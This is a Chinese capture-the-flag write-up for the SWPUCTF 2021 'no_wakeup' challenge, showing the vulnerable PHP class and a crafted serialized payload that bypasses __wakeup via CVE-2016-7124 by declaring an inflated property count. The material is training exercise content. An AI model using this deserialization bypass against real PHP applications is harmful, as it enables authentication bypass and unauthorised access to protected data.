(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
d111111111d13 分钟前
配置STM32F411CEU6的系统时钟-避免芯片内核锁死
笔记·stm32·单片机·嵌入式硬件·学习
catchadmin30 分钟前
2026 年 PHP 开发者进阶 快速高效开发学习习惯
学习·php
星火开发设计1 小时前
栈的深度解析与C++实现
开发语言·数据结构·c++·学习·知识
2501_940927071 小时前
TCL 75T7L Ultra 怎么样 值得买吗
其他
d111111111d1 小时前
STM32内核锁死补救方法-STM32F411CEU6
笔记·stm32·单片机·嵌入式硬件·学习
AI架构师易筋1 小时前
技能学习的隐形陷阱:理论过载(Theory Overload)与高效学习框架
学习
孙严Pay1 小时前
代付业务解析
笔记·科技·计算机网络·其他·微信
SadSunset1 小时前
Git常用命令
java·学习
Web极客码1 小时前
深入解析WordPress的functions.php文件及其高效使用方法
开发语言·php
好奇龙猫1 小时前
【大学院-筆記試験練習:数据库(データベース問題訓練) と 软件工程(ソフトウェア)(5)】
学习